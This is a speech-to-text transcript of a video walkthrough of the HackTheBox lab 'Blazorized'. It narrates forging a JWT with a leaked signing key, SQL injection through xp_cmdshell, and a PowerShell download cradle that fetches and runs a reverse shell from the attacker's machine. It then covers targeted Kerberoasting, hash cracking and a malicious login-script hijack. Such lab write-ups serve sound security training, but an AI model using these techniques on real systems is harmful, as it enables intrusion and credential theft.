text: what's going on YouTube this is IP we doing blazer rized from hack the box which the F hold involves exploiting a website coded in Blazer which is a weird. net web assembly thing if you're new to web assembly it's hard to wrap your head around this because typically browsers use HTML and JavaScript to display websites but web assembly uses binary programs and because so much um processing is being done on the browser not the server a common vulnerability is sensitive information ends up being sent to the browser and in this box we're going to decompile a net D with else by and discover the JWT logic including secret is sent to the client so that will enable us to create our own jwt's there is a second website that's also coded in Blazer but this one doesn't lazily load dlls so you can't just

title: HackTheBox - Blazorized


text: decompile the entire thing so this makes it U much more difficult to understand the logic if we try to use the JWT to authenticate by placing it in the authorization header um it just doesn't work but if we examine the web request between the client and server we can see the server is instructing the client to retrieve the token via local storage and presumably it sends the data over the Blazer protocol not HTP headers so that's how we authenticate to the admin application from here we can get a foothold via SQL injection with XP CMD shell and then there's some active directory exploitation that enables us to escalate to rout the tough part here is the final step involves a weird ad permission that isn't in Blood Hound so you have to go back in time and use older tools like power viiew to enumerate domain ACLS so with that being

title: HackTheBox - Blazorized


text: said let's jump in as always we're going to start off with an end map so- SCC for default scripts SV numerate versions dvv for double REO this gives us things like the TTL OA output all formats between the end map directory and call it blazered then the IP address of 10101 11.22 this can take some time to run so I've already ran it looking at the results we have 13 ports open the first one being DNS on Port 53 and the banner tells us it's simple DNS plus which is the default for Windows Active Directory server so I always scroll down to confirm and yes we do have ldap open and it's exposing the host name Blazer eyes.

title: HackTheBox - Blazorized


text: htb so I'm going to go ahead and add this to my host file so do Pudo VC host and then we can add 10 10 1122 Blazer eyes. HTP save that and let's take a look at what else we have so we have HTTP on Port 80 and that's Microsoft I and it's redirecting us over to Blazer eyes. htb so we already added this to the host file we don't have to do anything else but when we check out the website might as well just go straight to this host name uh the next thing we have is Cerros it's just leaking the server time nothing too interesting msrpc there's ldap doesn't look like anything too interesting uh we do have Microsoft SQL so if we have credentials we have a second way we can potentially authenticate to the Box through mssql um let's see and then we have ldap which um we already saw so nothing too interesting our clock is about 21

title: HackTheBox - Blazorized


text: seconds off from the machine so again not interesting there it is giving us the host name dc1 so we could potentially add this to our host file if we wanted to we could also confirm the host name with something like net exac so net exac SMB 1010 1122 and this will connect to SMB and tell us the host name of the box which yes it is dc1 so I'm going to go ahead and add dc1 blazered htb just in case for some reason we need that domain name and let's take a look at the website so I'm going to Go to http Blazer eyes. htb and we see a website it's built with blazer web assembly and I don't know that much about Blazer web assembly um it's a little bit of a pain to um interact with just because everything that goes between the client and server is going to be serialized um we can click around like clicking on Merk down

title: HackTheBox - Blazorized


text: playground and see what's going on here if I type it's instantly going down on this rendered markdown um so let's see test that's a title so what I want to do real quick is open up the um I guess developer tools or whatever uh we do see it loading a lot of dlls but the main reason I want to do this is see if there's any connections going between when I type this and the random markdown I don't see anything so I'm assuming this is all done via web assembly or JavaScript so like there's no real Attack service here because I'm not sending data to the server it's just my web browser automatically rendering markdown so that's not that interesting um if we click here we have failed fetching data from the API of blazered if I look at where it's requesting let's see do we see anything um we will want to look at all these dlls that would be loaded eventually but we do see a request to api. Blazer eyes.

title: HackTheBox - Blazorized


text: htb that fails so let's go ahead and add this to our host file so we can add API and all that oh man um dc1 blazered htb and then API blazered HTTP there we go save it refresh this page and let's see do we now get any content so it looks like we do and here we can intercept and since we're sending data to the server this is where we can start seeing it being a little bit of a pain so I'm going to send traffic uh let's do intercept response does it come back with anything it's just HTML that says please loading let's see uh I think we're going to load a lot of DLS let's just go to HTP history let's see and it's not sending anything that I expected this is easy to look at right we just make a get request here and it sends um some markdown back we could try like using typical SQL injection things so if I do a um single quote we have is

title: HackTheBox - Blazorized


text: not Val uh this is not a valid for guid property so it looks like they have some type of um schema enforcement I forget the exact terminology but if we send invalid characters that it's not expecting um it's just going to reject us because it doesn't pass whatever checks it's doing so I'm not going to really look at SQL injection here because it looks like it's just going to accept digits characters and dashes a single quote um just makes it ER right away I wonder if it does uppercase uppercase does work as well it's just um special characters it doesn't expect so this is going to make it tough to do um any type of SQL injection right we can try to play with things um the dashes don't really work we'd have to like escape the quote which maybe double quote could work let's try this uh let's URL encode this uh convert selection where are you

title: HackTheBox - Blazorized


text: URL there we go still not a valid property so again because it's doing that strict enforcement on the parameter we know um we can't really get any type of SQL injection working there so we didn't click on check updates so looking here we can read this because it's in the alpha release only super admin can request all post and categories from the API however if we click the button below we can temporarily and securely um fetch all the post and category updates so let's take a look at exactly what this looks like if I click on the check it's processing and we have updated Blazer rides contents and it looks like it loaded some papers here um and there is one interesting thing about this page before we look at the exact request it makes if we load the page and look at the very last thing it loads it's going

title: HackTheBox - Blazorized


text: to loads this blazered helpers dll and no other page loads this if we looked at the network Tab and looked it just would not be loaded so this is definitely an interesting page and it's loading this dll most likely because it's impersonating the user right so this is where I wanted to really look at exactly what was going on here so we turn intercept on click check for updates and we should get a request so we're doing an options on post and then then we have this request and we have a authorization token here so let's take a look exactly what this is this looks like a JWT I always like just going to JWT doio to view it uh we can turn burp s off to view this page paste this and we can see the schema so we got the email address of super admin and then we got the role of post get all and categories get all and expiration date looking at at this it

title: HackTheBox - Blazorized


text: looks like it is probably 1 minute in the future today is November 7th and this expires 12:55 looking at the clock 12:54 so the tickets not long um the tokens um doesn't have that long of a lifetime then we can see the issuer and audience so we need to get the signing key so we can potentially manipulate this token right and this is where I said um it loading that helpers becomes interesting because if we looked at all the other p pages and never sends this authorization header so by loading the helpers dll um it's likely going to have some type of code there that generates the header and that's why this file becomes interesting really should um not only look at all these files like there's a few like blazered local storage dll that should be interesting digital Garden shared like you should

title: HackTheBox - Blazorized


text: analyze all of these but if we did that in this video it would be hours long so um this is the one that really stands out to me just because again um it only loads on this page so let's curl it uh we can call it lasered helpers dodl and the other thing I would be doing um oh I mixed up the arguments there we go the other thing I would be doing is also a durust if we look at it it's loading dlls out of this underscore framework directory right so the first thing I do is check if this is an open directory if we can just see every dll in here it doesn't look like we can it just redirects us to the main application so nothing interesting there but I would be um creating a word list like using FFF and then putting every word here or not in the first one on the second one so I do like f-u then copy

title: HackTheBox - Blazorized


text: this fuzz. dll and then get a word list that um has a bunch of titles and see if I can find any other DLS that exist in this directory that just aren't being loaded because maybe there's a dll that's not exposed that is helpful to us right so that is one thing I'd be doing but it doesn't lead anywhere so I'm not going to show it in this video so we have downloaded that dll if we look at it we see it isnet and I'm going to run IL spy which will um just decompile this and show me the source code and there's something interesting I just learned about I spy it's platform normally in my videos you saw me like switching over to Windows but if we go to the IL spy repository it does talk about it being crossplatform and if you scroll down let's see um the Linux Mac Windows u based upon this and if we go to this repository and download the release we'll download a version that will

title: HackTheBox - Blazorized


text: actually be able to work on Linux which is pretty cool so no longer have to switch um VMS so I've already downloaded iOS spy I will just go and execute it and then we will open this dll and then we'll be able to see what it contains so let's go um htb blazered oh it does not like that that's annoying normally you can just type in the navigation bar and then it'll open a directory but doesn't look like it so htb where is blazered there we go helper and I can't make the font bigger on this left side that's really annoying about this application but hopefully you can read everything that's going on I'm going to click on the blazered helpers and then we have a few functions we have categories JWT passwords and post if we look at passwords it's just going to generate a random password there's nothing too interesting here if we look

title: HackTheBox - Blazorized


text: at JWT we have the expiration which is 60 seconds we have this um symmetric security key and this is actually the signing key if we go back to JWT .io and then we paste the signature in we can see it says signature verified and it didn't change any of this so we know we now have the signing key for um the jwbt now the next thing is where does this go to how do we get more access right so we can see a few claims we have post get all um categories get all and then a super admin and I'm keying in the word claim right because the claim is right here so we could add ourselves a super admin role so we do supercore admin now our JWT has that claim we have the issuer the API audience we also have the admin dashboard audience which gives us admin Blazer eyes. htb so we can go ahead and add this to our host file as well so let's go and add that's not

title: HackTheBox - Blazorized


text: it there we go save that so we added that to our host file so now we can request a page on HTTP admin blazered HTTP and it's going to attempt to authorize us and then we get this signin page so if we look at the functions for JWT we have this generate temporary and it's going to give us the claim the email which is the super admin blaz rise. htb and then adds the two claims which is post permission and the claim value if we look at the other function the super admin JWT it's going to only put the super admin roll claim value which was supercore admin so if we go back to our JWT we've already added it if I was doing like a red team engagement I would definitely take these two claims out because if someone's examining jwt's and sees JWT with extra information it may stand out more and you may get caught CU that's now a anomaly I would also make sure all my

title: HackTheBox - Blazorized


text: expirations um or look at what the default is here looks like it's 60 seconds so I'd have like a python application changing my expiration to only be a minute ahead of time but since we don't really care about getting caught we can leave those two claims in and I'm also going to change this to be an eight here so we changed the time to expire multiple years from now um now it's going to expire in 2028 instead of being already expired now so we have this JWT we have to know how to use it right and if we looked at how the application used in the past it just put this authorization header so let's try that I'm going to save this over into repeater so we have the request later um so if we turn intercept on makeer sure burp is on refresh the page then we can start adding this authorization header um let's go to

title: HackTheBox - Blazorized


text: repeater grab this let's just paste it and this is a bad JWT we have so replace that with our admin one paste this then we can copy it and then forward and it'll be a big pain because it's going to download like every dll again and you don't want to have to do this for every request because there's like hundreds of them right so what I'm going to do is go into proxy settings and then we're going to scroll down to this match and replace rule we're going to add to the request header if we leave this blank it's just going to append it and I'm going to put the header we want to add on the replace click okay and scroll down that is in place so now I just do it this one but all future ones will have the authorization on the bottom of the token right so as long as we're through burp it's going to add that authorization header and let's see where super admin

title: HackTheBox - Blazorized


text: sign in it doesn't look like it works so that's not how this application appears to be authenticating or maybe it has a different secret I don't know exactly what's going on here yet so let's go and try to intercept or view what is happening here um we could look at htdp history but this is going to be where I talking about where it gets like serialized and hard to read um you can kind of make sense about it but we can go to the extensions option of um burp suite and install let's see where is the search I'm going to search for Blazer we got this Blazer traffic uh processor so let's install this there it is and it adds this btp um item to us and if we look at it I think things have to be in scope um let's see primarily includes I think it has to be in scoped for it to work let's see proxy history yeah so I'm going

title: HackTheBox - Blazorized


text: to right click we can add to scope yes and what is my scope now Target add add add okay so we have all the domains added to scope and then if we look at the proxy tab it should be highlighting the blazered traffic but it's not um let's refresh maybe only works on new request there we go so anything time like this plugin can be used it's going to highlight the item in blue and we can go to a thing that has a lot of data like this and then we can right click extensions traffic send to btp and we can derealize and look at it right um the other thing I noticed when I'm looking at this traffic is our sequence numbers skip things right we have 262 then we go to 265 there's a lot of requests we just aren't seeing and one of those requests is actually going to be important so I'm going to go to my filter and let's just show everything I'm going to start with other binary

title: HackTheBox - Blazorized


text: then I do CSS and images by click apply now we have some more request here so let's look around to see what we have and the main thing I'm looking for is what the server instructs us to do um right here we have it going to local storage has property is dark mode again it may be hard to read unless you send it to the btp tab and then click you can dcery and it says it's going to begin invoking JavaScript and then um it's getting dark mode to see if we have dark mode enabled see is there anything else that sticks out so this is again doing more dark mode things I believe let's see is there anything else this one is Big um we got dark mode there I'm going to send this one over to btp to kind of look at exactly what's going on again you don't need to do this I just find it to be a lot easier to

title: HackTheBox - Blazorized


text: read this way and we have one it's going to local storage get item JWT so it looks like the JWT is stored in local storage not the header of request right so what I'm going to do is um go to my local storage so do F12 again storage local storage we're going to create a item we'll call it JWT and I'm got to give the value so let's just go back to our proxy settings and I'm going to grab the JWT out of here here I could have also just went and got it from j. but we can copy this and let's see go back to the browser put this here so now we have our JWT and the local storage refresh it and let's see what happens it's authorizing and we get authenticated so that is how it wanted it so now we are super admin and it's talking about the AP I speaking directly to the database so let's click around to see what we can

title: HackTheBox - Blazorized


text: do if we click on manage post um we have a few buttons we can edit and if we try to edit it says it can't update um it's not implemented can't delete either because it's just read only we go to duplicate post titles let's see currently Blazer eyes allows duplicate post titles therefore you can use the form below I'm guessing this means does not allow um to check whether it's been used so I'm going to create a post let's see Please Subscribe does this post exist it says it is not used if we do a single quote here click check post title we don't get any response back if we do a comment afterwards now we get it so this is indicating we probably have some type of SQL injection right uh one thing I did play with which I had trouble with with is trying to see like exactly what was going on under the hood so I'm letting

title: HackTheBox - Blazorized


text: burp I'm trying to let burp calm down I think whenever I move the mouse it sends request which is annoying I'm going to check go back here and then we want to look for where I sent it please subscribe uh let's see maybe that's telling us what to do get see post here is this where I say please I think this is Mouse Moving it looks like it is there we go this is the request where I send it please subscribe and then we can go look at a few requests where it sends us data we got data back right here I'm guessing this is going to be what popped up the menu for us so I can go send to btp Der serialize we can kind of look at what happens nothing really fully makes sense to me here so I want to see what happens on an error because I want to know like do I get an actual error message back because getting error message back is super

title: HackTheBox - Blazorized


text: handy and long story short I can't really make sense of it maybe it'll make sense when I'm doing the video and something will pop out there we go we said please subscribe again here and then we get this shorter batch so before the response it had a lot it told us to pop up a div or something but here it's just like saying continue doesn't really do much so um long story short it's hard to detect the SQL error when we're just looking at Network traffic but based upon how the application is behaving that's what tipped me off right so if we do a comment it works and this is Microsoft SQL so it normally allows for stacked queries so I'm going to do a um semicolon and then a comment that still works so now we can do a second query right I'm going to do a exec um XP CMD shell who am I and then we'll do a semicolon comment and let's see we get response

title: HackTheBox - Blazorized


text: back so my first thing is a ping on myself let's see if we can if this doesn't work then I try something like um enabling XP CMD shell I bet if you go like hack tricks and Google it or ip. RS you'll find out how to enable it um I'm assuming it's already enabled but we'll see we'll do pseudo TCP dump ton zero icmp check post and we get pings backs awesome um if that didn't work let's see um let's Google it real quick hack Trix mssql so I would definitely read this page if you suspect you have like Microsoft SQL injection and it's not working um this would be generally something good to read I think there's like advanced so I'd like run this SP configure reconfigure and then enable it so these are the commands I would be running if the XP CMD shell didn't work right away um we could also use um responder at this point and

title: HackTheBox - Blazorized


text: potentially steal a ntlm hash and then try to crack it so we do pseudo um do I have it installed let's see responder responder let's see - i t z awesome let's go back here check post I want to say it's like XP dir tree to list directories right and we could do 10 10 148 and then we'll say share does not exist the key thing we're doing here is having it make a SMB connection back to us because it attempts to authenticate and when it does we can potentially steal a hash right so you see the mssql server is running as Nu _ 1055 if it ended in like a dollar sign I wouldn't even bother trying to crack it um in this if I didn't have XP CMD shell I would definitely try to crack this ntlm hash because it could let us potentially log in right so now we have that let's now um get a shell so we can do XP CMD shell and

title: HackTheBox - Blazorized


text: then I'm going to run a PO shell command so let's set up our um interface so make dubdub dub I'm going to copy user share um I forget what it is let's see I think it's law num CP user share law num nope that's not it let's see I can't believe I'm forgetting the location of this reverse TCP user share grab PS1 Nang wow user share Nang um shells invoke Powershell TCP online. PS1 and we're just going to call it rev. PS1 there we go I can't believe I forgot the word n shank for a couple minutes there let's see let's do 10 10 148 to send it back to us I like using Port 90001 there we go and then one thing I always like doing when I use webshell is create some type of web cradle that then executes it because if antivirus is running um it's hard to know if we just encode the shell and send it right away but if we do a web cradle and it requests the file for

title: HackTheBox - Blazorized


text: the shell and then doesn't give us the shell we know um most likely antivirus blocked it so that's why I'm going to create this web cradle so I can do new object net.

title: HackTheBox - Blazorized


text: webclient download string HTTP 101048 8000 rev PS1 there we go so I convert uh let's cat traal convert it to UTF 16 little Indian there we go Bas 64 w0 so now we have this string let's start up a web server so we'll do Python 3 HTTP server or LP and see lvmp 901 go back to the website and we can run Powershell DC for encoded command paste in this base 64 and we check duplicate titles we see it makes a request back to us and then we get a shell so there we have it we're now on the box as Nu 1055 I always check who am I SL all to see if I have like the SE and personate privilege I don't so I know it's not going to be like vulnerable to some type of potato or something like that the next thing I normally look at is the web application config because we know this uses a database so it's probably a credential stored right so let's go find where that

title: HackTheBox - Blazorized


text: is on Windows it's probably gonna be like inet Pub dubdub dub root and then let's see we probably want the admin so let's go to digital Garden admin because this one that was definitely talking to the database uh there's web.config so if we look at this um it doesn't look like there's anything interesting there if we scroll up there's also app settings. Json so let's try looking at this file so we'll type it out and it doesn't have any credentials it's just going to use the context of the local user something handy that Windows does so we can't really get any credentials out of here so the next thing I'd probably do is run Shar pound and just look at the Active Directory configuration right so let's do sharp pound GitHub and we'll just download the latest release um and I'm going to use Shar pound not like the uh Bloodhound dopy

title: HackTheBox - Blazorized


text: because we don't have any user credential right so if we use the executable it can actually run in the context of our local user kind of like how that application's talking to the database and that becomes very handy for us so let's go and dub dubdub move downloads sharp pound here unzip it and then we want this executable so we can copy this go back to our shell curl HTTP 10148 8,000 sharp pound and we'll call it Shar pound. exe that looks good and then when we try to execute it it's going to um dump everything in a file and I actually probably want to download like I like doing- C all um I'm going to delete this real quick because I don't want to accidentally copy this file um normally when I run it I like just specifying grabbing everything not the most stealthy but for ctfs it's really

title: HackTheBox - Blazorized


text: great so now we have the file um we don't have right access into I I'm not going to show that because it's just a waste of time uh we could like stand up an SMB server and copy it back but um that becomes kind of a pain because we have to give ourselves a credential because Anonymous SMB is disabled on a lot of windows boxes so that's some of a hassle my favorite way though to copy files and I haven't shown in a long time is just through standing up a simple webdav server so I'm going to go in my Etsy engine X um sites available and we're going to make a file I'm going to call it webdav and then we're going to create a quick config so we'll do server listen 901 on default let's see the server name I'll call it ic. Ro this thing doesn't matter uh we probably shouldn't list it on 9,000 1 I'm going to listen on 81

title: HackTheBox - Blazorized


text: there we go I just didn't want 9,1 because that's where my shell is right I'm going to say the location is going to be root is ver dubdub duub upload and then we're going to enable the DAV methods of put and then we will close this out I think that's all I need so we'll do pseudo make dubdub duub uploads pseudo chod I'll give it read write permissions we do ver dubdub duub um everyone can read and write to this directory because I'm not sure exactly what user going to be running as probably dubdub dub data but um yeah so we'll do pseudo um system CTL restart engine X and let's see it failed with errors we probably have some type of issue right what did I screw up listen server name location that all looks good oh I didn't enable it so we just put this in sites available let's go to sites enabled pseudo create a symbolic link engine X sites available webdav

title: HackTheBox - Blazorized


text: here restart and still failing I'm going to remove the default okay that works so something probably was just airing in my default config I'm guessing it's probably listening on a port that um I was already listening on let's see what do default look like server 80 SS lntp GP on 80 um ton zero something is listening on 80 not oh it was failing because responder is listing on 80 so that's why it was failing um I had responder running so the default couldn't open that Port but that doesn't really matter we have a server on 801 listening so if I go to CD ver dubdub duub uploads I'm going to see pseudo chod plus X we actually want to be able to execute because that lets us enter the directory right so let's go back to our shell now and we can use a invoke web request specify the URI http 10148 80001 and we'll call this BH

title: HackTheBox - Blazorized


text: doz and we want to say the method is put and the in file is going to be C colon program data and then what is the file name right here there we go your eye there hit enter and then if we go to this dubdub duub uploads directory we actually do not have it method p in file pseudo chod 777 for dubdub uploads restart run this again we screwed something up pseudo tail ver log engine X access.log see that is just now so V it's giving a 500 error which is an error message message do we have anything in error oh I have plural and not so it helps if the file name are correct so let's do V Etsy engine X sites available webdav we put it in uploads like that restart now rerun it and we have the file okay all is right um that's embarrassing but hopefully that little troubleshooting helps you because that's a mistake I find myself making somewhat regularly so we restarted engine X I'm just going to

title: HackTheBox - Blazorized


text: stop it um let's do stop engine next because I don't want to leave this web server running um I don't think it'll actually cause any problems it's just an upload on this directory no like I don't think it could cause problems but always good to to say a a service when you're done with it so now that we have The Blood Hound data um we want to um run Blood Hound so let's do CD op Blood Hound examples Docker compose and then I'm going to put Blood Hound undor Port is equal to we'll do quad 8s if I don't do this blood hounds by default is going to listen on port 8080 which burp is listening on it creates all sorts of problems so that's why I'm doing um that and then we do docka compose up and this will start Blood Hound for us and it'll probably take a couple minutes for all the containers to spin up so I'm

title: HackTheBox - Blazorized


text: probably going to pause the video and we'll come back when it's up if I do Local Host quad 8 um fail to connect so we got to wait for the container to come up okay I think everything is started so if we refresh we're going to get this error message and we see authentication is invalid and this is because of something we did earlier on that um is screwing Blood Hound up if we go to our proxy settings and we disable this because we were adding the header authorization um that's what was actually screwing us up blood hound was seeing an author authentication token and then failing off so disable that and we can access The Blood Hound page so we're going to do spam example.com which is the default username and then I set the password to password 2024 exclamation point um if you don't if this is your first time running Blood Hound the password is going to be somewhere in this um text if you look at

title: HackTheBox - Blazorized


text: my missed video I have it um merked on where I start running Blood Hound so you can just follow those steps to get it all set up but once you get logged in um we should be able to upload data so let's go to the data collection page uh that wasn't where I wanted to click let's just do settings administration file inest upload files and then we'll do V dubdub duub uploads b.z upload it and then this will probably take um 20 or so seconds to upload and ingest we see the status is now running um wonder if I just open a new pane let's go to explore do we have data no data available so I guess I should pause the video and wait for this to finish uploading it may take longer than 30 seconds so I'm just hung here and I think I know what the problem is so I decided we'll start recording again um this is just indefinitely hung I think I

title: HackTheBox - Blazorized


text: think the issue is we go back to ver dubdub duub uploads we actually don't have read access to b.z so let's give ourselves that so we'll do sudo chod 777 BH zip okay so now we can read this file and let's try uploading it again so we go to uploads upload it says Ready done like that went much quicker that is what I was expecting now I don't know if blood Hound's going to be hung up because it's still stuck ingesting something like I don't know if it's waiting for that ingestion to finish before it starts the next one um hopefully that's not the case no data available maybe I should just clear The Blood Hound data and then try this again because this definitely seems like it's hung so that's what I'm going to do let's clear the database and try again oh wait nope analyzing there we go so it is working it's just taking long

title: HackTheBox - Blazorized


text: there we go it is now complete and we should start having data so let's look at what user we were uh who am I we are Nu 1055 so let's search on this user we're going to Mark us as owned and then I always like looking at outbound object control because this shows us what this user can do and if we look at it we can write the SPN to RSA um 4810 so when we write the SPN to a user it's going to um enable us to Cur roast them and potentially crack the password I click on this let's see Windows abuse convert to set Dom main object yes so it's using set domain object which I think is um part of Power view so let's do that the reason why we're not going to be using Linux abuse is again we don't have the credentials to Nu 1055 so we can't use impacket because we need to authenticate somehow so let's get power exploit or Power view so do Power view

title: HackTheBox - Blazorized


text: GitHub and whenever I use power viiew I like um getting the development uh Branch so we're going to copy that let's go back to our web server get clone dbd I should probably just put this in SL opt or something but it's fine here so we want to go in power exploit Recon and power viiew PS1 so we're going to go with new object net. web client download string HTTP 101148 Port 8000 power exploit Recon power view. PS1 so that's going to load Power view right there we go yep so now we should have the um um functionality so write SPN windows we want to do set domain object okay um before I do set Dom main object let's actually get a list of all the SPN so we know um we're actually adding it and that power viiew is loaded we could just do invoke Kerberos and that will give us all the potential um hashes for accounts that have spns we

title: HackTheBox - Blazorized


text: could also get domain object then identity um the user was 4810 and this is going to list all the uh permissions we can select what is it service principal name and we don't have anything so let's do a set domain object because this user supposedly can create one right so we do ident and then set the server principal name is equal to um we'll call it please subscribe it really doesn't matter um what we set here as long as we have that and then we invert curb roast again we don't have anything um let's see get domain object do we have a service we don't and we have to do like Dash properties star select service principal name see set domain object identity I have a space here there we go that's what I expected to see invert curb roast and we get the ticket right and if we do this get domain object we can see we set the service principal name and that's why curro suddenly is working

title: HackTheBox - Blazorized


text: so let's copy this and this is going to be a pain to grab probably see let's just exit that let's call this um RSA 4810 dot hash I guess paste and let's see let's get rid of all spaces and I think we have to put this all on one line for hashcat to like it let's see um I'll copy this over to the Kraken what do I want to copy it to CD hashcat hashes yep there we go so we have the hash here let's do slash cat hashes RSA and then the word list will be opt wordless rocky. text and see if it autod detects it if not we probably have to erasee all the line breaks which will be slightly a pain um um six hash modes yeah so let's go ahead and erase all the line braks um the hashes RSA then we can do a search for all new lines replace it with nothing and that looks good let's try running hashcat again and

title: HackTheBox - Blazorized


text: hopefully it detects it if not I think there is a option to change the output format but no it looks like it did um what I was going to say in the actual invoke curb Rose command there's a output format it can specify hashcat there potentially but it looks like hashcat now detects it and if we look it cracked the password which I'm surprises in rock youu that is a long password I wonder if the um parentheses are part of the password it's there because we have a space I'm guessing this is the whole password so let's go back up here R8 4810 Let's see we can mark this user as owned and if we look at execution privilege they can PS remote so we can use evil winrm so we can do evil wi rm- I 10 10 11 22- U RS a a 4810 DP put in this password and let's see we do get authenticated as them so if we do Who Am

title: HackTheBox - Blazorized


text: iall whoops SL all there we can see what groups we're part of and whatnot but there isn't really much information here additionally if we looked at blood hound and we look at what permissions we have so we go what we did before there is no outbound object control and this next piece is relatively hard to find um because it's not a default in Blood Hound but it is a active directory permission that this user can do if we went back to pow spit and I'm going to do this from this webshell just because it's already got power spit loaded in it there is a command called find interesting domain ACL and I like adding the resolve guids and we could also specify something like um this and this isn't normally how I run it I'll show how I normally run it after this but a lot of people like doing the identity reference name- match

title: HackTheBox - Blazorized


text: and then the user so we'll do RSA what was it 4810 like that and this will show us interesting domain ACLS that this user um can do and the reason why I normally don't run um this command like this is as you can see it takes 20 seconds for the command to run and you only get one result right um what I like doing is just running the entire thing converting it to Json copying it to a file and then um using JQ on my host machine in order to parse it uh this is taking longer than I expected I wonder if I screwed the command up um it looks fine so normally just doesn't take this long oh there we go so we can see the user RSA 4810 has the right property on the script path of SSA 6010 so we can write pretty much login scripts to this user right but I'm going to take a step back real quick we're just going to do this and then forget how they do convert is it Dash to Json

title: HackTheBox - Blazorized


text: Powershell or is it convert to- Json see convert to- Json so if we just ran this and this will output everything in text and then we can copy and paste it and then use JQ um we could have also directed it to a file then use webdb to upload it just like we did with the blood hound zip but it's too late for that I already ran the command and we'll wait waiting for it to give us the results which could be a minute or two okay so now that it's ran let's just copy everything here and it is quite a bit of information right this why it takes so long to run but having this all means we can then query it instantaneously we're almost to the top there we go and let's see that's the Cur roast invoke grab this and then I'm going to call this like ACL Json or we'll call it like domain ACL that's probably better paste that in then we just C this file pipe it

title: HackTheBox - Blazorized


text: over to JQ and it opens up with a list so I'm just going to put that to put everything outside of that list and here we could now write like select statements if we really wanted to so we could do um select identity reference name is equal to what was it like RSA 4810 was that it and the single quote and we can see what that user has access to right they have the script path if you didn't want to use the whole like JQ select statement we could um get everything it's important to get out of the list then you can specify - c it puts it all on one line and then you could grap it for um what is it RSA 4810 then JQ and this will get everything about 4810 um we can see the identity reference name this user can um access that but if we go up we see the super support administrator has replication get all privileges on the user so this is another group this will

title: HackTheBox - Blazorized


text: be like the um inbound permissions right um this user can access 4810 and 4810 can go before I continue that thought yeah so that's just showing all the inbound right um we don't see any outbound here again because Blood Hound isn't looking at that script path thing um Nu you 1055 was the other user so if we wanted to we could look at this user and see what it looks like in Blood Hound so looking at this um the subject user the identity reference name has validate SPN over 4810 right that's what we saw in Blood Hound go here look at outbound right so that's that if we wanted to we could look at inbound see everything here and again if we just did the grap like we did before so we're not just going on the identity reference um we'll see everything here so Nu 1055 so again super support administrator has replications get all let's see where that is probably generical account

title: HackTheBox - Blazorized


text: operators see there should be a support super right I'm actually not seeing that here I thought I would but using is good um Blood Hound works like 90% of the time um there are edge cases where blood Hound's not going to show it and this case it is going to be writing the script path and honestly like maybe it's because I've never looked but I don't know many cases in a Windows domain where a user would have access over this right so maybe that's why it's not in Blood Hound but we can WR to the script path and in active directory this is um login scripts so I wonder if we can do a get domain main object identity SSA 6010 properties star is it going to be I'm not in my reverse shell with power plit see script script path I'm not even sure exactly how to pull that I wonder if there is a user that has script path set set but this doesn't look like it um there could also

title: HackTheBox - Blazorized


text: be a different way to do property star but I think that's right so let's try um writing something there and before we write something to the script path we'll have to find a writable directory where we can and script paths always go off of the cisv directory so if we went to net exec let's see nxc dasu uh SMB 10 10 1122 oh let's see what is the account we had access to it's blood hound blazered andu I could have swore we had a password somewhere not there not there oh right here so we have this account's password and that is RSA 4810 so RSA 4810 so if we look at shares um the script has to be somewhere in cisv and in active directory ssal is most likely going to be stored under the windows directory on domain controllers so if we go CD back SL Windows cisv let's see we're here so we got domain staging cisv

title: HackTheBox - Blazorized


text: um it's probably wants to be in domain right I don't know exactly how this is structured policy scripts if we do scripts it's probably going to be like one of these directories we can write to but if we just go in this and blindly let's see if we can just Echo one two test.bat unauthorized so I'm going to use a tool called access check and we're going to see any directory we have right access to in the cisv so I'm going to go back in program data and then we're going to grab the check uh the tool so access check and this is going to be a CIS internal tool so it's from Windows that will never be flagged as malware or anything so we can download this access check. zip let's see um move downloads access check extract it and we want to run access check 64.exe so we can do a curl HTTP 10148 8000 d o there we go

title: HackTheBox - Blazorized


text: and on this page it's going to tell us all the arguments right so we're going to specify D to hide error messages then we'll do DW for writable then A- D that's going to filter for directories and then s is going to be recurs so we go into all the directories so we're going to do slash access check 64 except you U DS lasered b a z yep that looks right the user RSA 4810 and then the directory so we want to do c colon Windows where was it this directory okay and it's running and looks like we have rewrite over a lot of directories but everything is the parent directory of this um A2 like a32 FF so in this directory is the one we can write in so if we go CD back slash um let's just go here CD there Echo one to test so we can write in this directory so what we want to do is write over the um script path of the user and to do that we're going to use power

title: HackTheBox - Blazorized


text: sploit again and we have to do it from the um 4810 user not this Nu so I'm going to copy this so we can load power exploit I know evil Wim has some magic way I think I just screwed something up by doing that question mark is it help like EV when has some tool to like magically load um net scripts I don't know it though and trying to pop the menu made things go wonky I'm just going to load it like this um see we have to do this way so power exploit Recon see I think this is what it truncated off there we go and this should run I think maybe help does it nope that's power shall help um I don't know exactly how to do an EMP power SP uh evil Wim but now we have it loaded because we um loaded Power view this way so what we want want to do now is set 80 user identity what user do we have that over let's see

title: HackTheBox - Blazorized


text: JQ where was that JQ command let's just run it again cat domain oh here it is sweet JQ there we go um 6610 so identity SSA 6610 script path and we're going to want to write to this SL rev.

title: HackTheBox - Blazorized


text: PS1 so we're setting the login script for 6010 to be rev.

title: HackTheBox - Blazorized


text: PS1 and then we'll have to make sure that file exists r l RP NC lvmp 901 okay curl HTTP 101048 8000 rev PS1 okay that works so if that user does log in um they should hit our login script which will send us a shell so let's do that get domain object again because I'm just curious I think we did it from this shell we did 4810 we want to do was it SSA 6010 script script path there we go it is set we can see it's set there so I'm going to wait let's do 2 minutes and then see if we get a call back if we don't then um we'll try something else and we never got a shell um if I do a let's see rev. PS1 still exist if we try to execute it we do get a shell back so everything looks to be good there I wonder if only bat files would work let's see script path that looks right um let's try doing a bat file so do poers shell Das

title: HackTheBox - Blazorized


text: encoding and then this where we want to go back and grab our cradle cat cradle is it in dubdub duub it is I convert UTF 16 little Indian base 64 w0 so do Powershell andc like that to rev.

title: HackTheBox - Blazorized


text: bat we try to execute rev.

title: HackTheBox - Blazorized


text: bat that did not work what's this look like cmdc I think that is right I don't know exactly why that is failing um I wonder if this is an encoding issue let's see type rev bat um I forget exactly how to change this let's try GC for get content rev bat then we can do a set content um we'll call it rev2 dobat and then encoding ask key so if we do encoding utf8 oh wait yeah that definitely changed the size with the encoding ask key I was looking like at these two in the were still high numbers but this is half the size on rev 2. bat so I think it was the encoding we execute it power shell there we go that looks better so let's set the script path to be rev to.bat see where is that there we go so we Chang two things here um number one we encoded it to asky and number two we're calling a bat script instead of Powershell just in case login scripts don't use Powershell but I think poers

title: HackTheBox - Blazorized


